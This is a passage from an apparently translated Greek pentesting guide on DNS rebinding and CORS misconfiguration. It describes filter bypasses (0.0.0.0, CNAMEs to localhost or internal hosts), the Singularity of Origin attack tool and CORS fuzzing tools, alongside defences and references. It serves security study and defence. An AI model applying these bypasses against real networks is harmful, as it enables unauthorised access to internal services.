Πάροχοι όπως η godaddy ή η cloudflare δεν μου επέτρεψαν να χρησιμοποιήσω την IP 0.0.0.0, αλλά η AWS route53 μου επέτρεψε να δημιουργήσω ένα A record με 2 IPs, εκ των οποίων η μία είναι "0.0.0.0"

Για περισσότερες πληροφορίες μπορείτε να ελέγξετε https://unit42.paloaltonetworks.com/dns-rebinding/

Άλλες Κοινές Παράκαμψεις

• Αν οι εσωτερικές IPs δεν επιτρέπονται, μπορεί να ξεχάσουν να απαγορεύσουν το 0.0.0.0 (λειτουργεί σε Linux και Mac)
• Αν οι εσωτερικές IPs δεν επιτρέπονται, απαντήστε με ένα CNAME προς localhost (λειτουργεί σε Linux και Mac)
• Αν οι εσωτερικές IPs δεν επιτρέπονται ως απαντήσεις DNS, μπορείτε να απαντήσετε με CNAMEs προς εσωτερικές υπηρεσίες όπως www.corporate.internal.

Όπλο DNS Rebidding

Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με τις προηγούμενες τεχνικές παράκαμψης και πώς να χρησιμοποιήσετε το παρακάτω εργαλείο στην ομιλία Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin είναι ένα εργαλείο για την εκτέλεση επιθέσεων DNS rebinding. Περιλαμβάνει τα απαραίτητα στοιχεία για να επανασυνδέσει τη διεύθυνση IP του DNS name του server επίθεσης στη διεύθυνση IP της στοχευμένης μηχανής και να εξυπηρετήσει payloads επίθεσης για να εκμεταλλευτεί ευάλωτο λογισμικό στη στοχευμένη μηχανή.

Πραγματική Προστασία κατά του DNS Rebinding

• Χρησιμοποιήστε TLS σε εσωτερικές υπηρεσίες
• Ζητήστε αυθεντικοποίηση για πρόσβαση σε δεδομένα
• Επικυρώστε την κεφαλίδα Host
• https://wicg.github.io/private-network-access/: Πρόταση για πάντα να στέλνετε μια προ-αίτηση όταν οι δημόσιοι servers θέλουν να έχουν πρόσβαση σε εσωτερικούς servers

Εργαλεία

Fuzz πιθανές κακές ρυθμίσεις στις πολιτικές CORS

• https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
• https://github.com/chenjj/CORScanner
• https://github.com/lc/theftfuzzer
• https://github.com/s0md3v/Corsy
• https://github.com/Shivangx01b/CorsMe
• https://github.com/omranisecurity/CorsOne

Αναφορές

• https://portswigger.net/web-security/cors
• https://portswigger.net/web-security/cors/access-control-allow-origin
• https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
• https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
• https://www.codecademy.com/articles/what-is-cors
• https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
• https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
• https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b